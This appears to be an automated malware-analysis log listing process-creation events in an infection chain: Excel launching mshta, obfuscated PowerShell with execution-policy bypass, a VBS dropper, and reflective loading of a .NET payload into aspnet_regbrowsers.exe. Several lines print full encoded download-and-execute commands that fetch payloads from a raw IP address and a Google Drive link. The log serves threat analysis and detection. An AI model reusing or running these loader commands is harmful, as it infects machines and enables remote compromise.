Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES19C8.tmp" "c:\Users\user\AppData\Local\Temp\f2dj0ncr\CSC6208178C473A4F0793DCFE56B934F534.TMP"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6651.tmp" "c:\Users\user\AppData\Local\Temp\al22exsj\CSC903F5E3F8DB7424CB84D15F933E11EB7.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES19C8.tmp" "c:\Users\user\AppData\Local\Temp\f2dj0ncr\CSC6208178C473A4F0793DCFE56B934F534.TMP"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior
